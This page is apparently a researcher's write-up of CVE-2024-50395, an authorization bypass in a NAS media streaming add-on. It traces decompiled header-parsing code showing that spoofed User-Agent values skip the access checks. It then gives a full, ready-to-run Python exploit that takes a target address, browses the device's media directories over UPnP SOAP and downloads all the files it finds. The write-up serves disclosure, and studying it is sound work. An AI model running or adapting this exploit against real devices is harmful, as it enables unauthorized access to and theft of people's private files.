Skip to main content Link Menu Expand (external link) Document Search Copy Copied

TAG

CVE

CVE-2024-50395

CVE Info

An authorization bypass through user-controlled key vulnerability has been reported to affect Media Streaming add-on. If exploited, the vulnerability could allow local network attackers to gain privilege. We have already fixed the vulnerability in the following version: Media Streaming add-on 500.1.1.6 ( 2024/08/02 ) and later

PoC GIF

PoC.gif

Root Cause

GET Method Authorization Bypass

The Function FUN_001293f0 in Ghidra, that maybe called ParseHttpHeaders function in original source code, parse http header data from requests by client.

That function also parse “User-Agent” and get value.

iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
  pcVar6 = strstr((char *)__s,"Twonky");
  if ((pcVar6 == (char *)0x0) &&
     (pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
    if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
       (lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
       lVar14 != 0)) {
      ppuVar10 = __ctype_b_loc();
      do {
        puVar9 = puVar9 + 1;
      } while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
               0x20) != 0);
      lVar11 = 0;
      pcVar6 = *(char **)(client_type_patterns + 8);
      lVar14 = client_type_patterns;
      lVar18 = client_type_patterns;
      while (pcVar6 != (char *)0x0) {
        if (*(int *)(lVar14 + 0x10) == 1) {
          if (*(int *)(lVar14 + 0x14) == 0) {
            lVar14 = strstrc(puVar9,pcVar6,0xd);
            lVar18 = client_type_patterns;
            if (lVar14 != 0) {
              pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
              puVar20 = (undefined *)0x0;
              uVar22 = 5;
              local_138 = *(int *)(client_type_patterns + lVar11);
              lVar12 = (longlong)local_138;
              uVar15 = 0x204;
              local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                                   0x10);
              goto LAB_00129ab1;
            }
          }

At that time, if “User-Agent” value is “AppleCoreMedia”, below codes executed.

lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
  if (*(int *)(lVar14 + 0x10) == 1) {
    if (*(int *)(lVar14 + 0x14) == 0) {
      lVar14 = strstrc(puVar9,pcVar6,0xd);
      lVar18 = client_type_patterns;
      if (lVar14 != 0) {
        pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
        puVar20 = (undefined *)0x0;
        uVar22 = 5;
        local_138 = *(int *)(client_type_patterns + lVar11);
        lVar12 = (longlong)local_138;
        uVar15 = 0x204;
        local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                             0x10);
        goto LAB_00129ab1;
      }
    }

And then goto LAB_00129aba1

LAB_00129ab1:
                      myDebugUtilWrapperPrint
                                (uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
                                 ,lVar12);
LAB_00129abb:
                      lVar14 = *(long *)(param_1 + 0x20);
                      uVar8 = (ulong)*(uint *)(param_1 + 0x30);
                    }

Then, below codes executed

LAB_00129627:
        for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
        }
        __s = __s + 2;
      } while (__s < (uchar *)((int)uVar8 + lVar14));
    }
    if (local_138 < 0) {
      local_138 = g_DefaultClientTypeId;
    }
  }
  iVar4 = local_138;
  pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
  myDebugUtilWrapperPrint
            (5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
             "finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
  local_174 = local_174 | *(uint *)(param_1 + 0x88);
  *(int *)(param_1 + 0x38) = local_138;
  bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
  ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
  bVar26 = ppbVar17 == (byte **)0x0;
  *(uint *)(param_1 + 0x88) = local_174;
  lVar14 = 8;
  *(uint *)(param_1 + 0xa4) = local_130;
  *(int *)(param_1 + 0xa8) = local_13c;
  *(int *)(param_1 + 0xac) = local_134;
  pbVar19 = *ppbVar17;
  pbVar21 = (byte *)"AppleTV";
  /*
  omited...
  */
  
  uVar15 = 0;
  if ((local_174 & 0x100) == 0) goto LAB_001298c4;

Focus on the code that is uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;

if User-Agent value is “AppleCoreMedia”, That code could be executed.

So The function FUN_001293f0 return 0 value.

That Function is called in FUN_001411f0, running **like a routing function, when the return value is 0,

FUN_001411f0 doesn’t execute any Functions that send http 401 errorcode. (”Deny Access”)

(The Function FUN_001411f0 is maybe called ProcessHTTPSubscribe in original souce code.)

POST Method

The Client Type “QNAPDMC” is initialized in Funtion “InsertQNAPClientType”. (That Funtion is called in main)

And in that Function, the Variable g_QNAPDMCClientTypeId is initialized.

When a client use http POST method, The main processing Function is FUN_0012ee50.

  uVar21 = 1;
  myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
  ;
                    /* DAT_001690a2 is "POST" */
  lVar11 = 5;
  pbVar13 = &DAT_001690a2;
  pbVar14 = local_298;
  do {
    if (lVar11 == 0) break;
    lVar11 = lVar11 + -1;
    uVar19 = *pbVar13 < *pbVar14;
    uVar21 = *pbVar13 == *pbVar14;
    pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
    pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
  } while ((bool)uVar21);
  if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
    param_1[0xd] = 2;
    FUN_0012ee50(param_1);
    goto exit;
  }

if request header has “Soapaction”, Function ExecuteSoapAction is executed.

(*(long *)(param_1 + 0x10) value was setted in FUN_001293f0 )

  if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
    param_1[3] = 1;
    return (ulong)(param_1[10] - param_1[0xc]);
  }
  if (*(long *)(param_1 + 0x10) != 0) {
    uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
    return uVar2;
  }

In ExecuteSoapAction, if (*(int *)(param_1 + 0x38) is same as g_QNAPDMCClientTypeId, We can bypass Authorization.

  if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
    if (n_lan_addr < 1) {
LAB_0014a27f:
      pcVar6 = "Deny Access";
      goto LAB_0014a3dd;
    }
    if (DAT_00398a90 != *(int *)(param_1 + 4)) {
      puVar3 = &lan_addr;
      do {
        if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
        piVar1 = (int *)(puVar3 + 0x2c);
        puVar3 = puVar3 + 0x1c;
      } while (*piVar1 != *(int *)(param_1 + 4));
    }
  }
  pcVar6 = strchr(param_2,0x23);

The variable (*(int *)(param_1 + 0x38) is initialized in FUN_001293f0 by using “User-Agent”.

So We can bypass Authorization, using request header “User-Agent: AppleCoreMedia, User-Agent: QNAPDMC”.

Exploit

#!/usr/bin/python3
# POC.py

import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse

from xml.dom.minidom import parseString
#from tqdm import tqdm

log = lambda x: print("\033[31m[+]" + "\033[37m"+x)

HOST = 'http://{0}:{1}'

session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}

def makedirs(path):
    if not os.path.exists(path):
        os.makedirs(path)

#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
    res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
    obj = parseString(html.unescape(res.text))
    
    NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
    MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
    VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
    
    log(f"TARGET NAME: {NAME}")
    log(f"TARGET MODEL: {MODEL}")
    log(f"TARGET QTS VERSION: {VERSION}")

#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
    header = auth_post_bypass_header.copy()

    header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
    
    pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
    pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
    pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
    pay += """<ObjectID>{1}</ObjectID>"""
    pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
    pay += """</u:Browse></s:Body></s:Envelope>"""
    
    res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
    obj = parseString(html.unescape(res.text))
    element = obj.getElementsByTagName('container')
    
    keys1 = {}
    for ee in element:
        dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
        log(f"FIND: {dir_name}")
        keys1[dir_name] = ee.getAttribute("id")
        

    keys2 = []

    for k,v in keys1.items():
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        
        for ee in element:
            dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {dir_name}")
            keys2.append([v, dir_name, ee.getAttribute("id")])
    keys3 = []

    for k in keys2:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))

        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            keys3.append([v, file_name, ee.getAttribute("id")])

    keys4 = []
    deps_key = []

    for k in keys3:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        element2 = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

        for ee in element2:
            deps_key.append(ee.getAttribute("id"))

    for k in deps_key:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

    makedirs('./Downloaded')

    for k in keys4:
        if "Transcode" in k[-2]:
            k[-2] = k[-2].replace("Transcode", "MediaItems")

    RETRY = []
    for k in keys4:
        URL = k[-2]
        res = sess.get(url=URL, headers=auth_bypass_header)
        if len(res.content) <= 0:
            RETRY.append([k[1]+k[-1], k[-2]])
            log(f'FAILED: {k[1]+k[-1]}')
            continue
        
        with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
            f.write(res.content)
        log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
    
    for rr in RETRY:
        res = sess.head(url=rr[1], headers=auth_bypass_header)
        print(rr[1])
      

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='')

    parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
    parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')

    args = parser.parse_args()

    HOST = HOST.format(args.target, args.port)
    
    get_rootDesc(session)
    exploit(session)

Author

Reverser & Pwner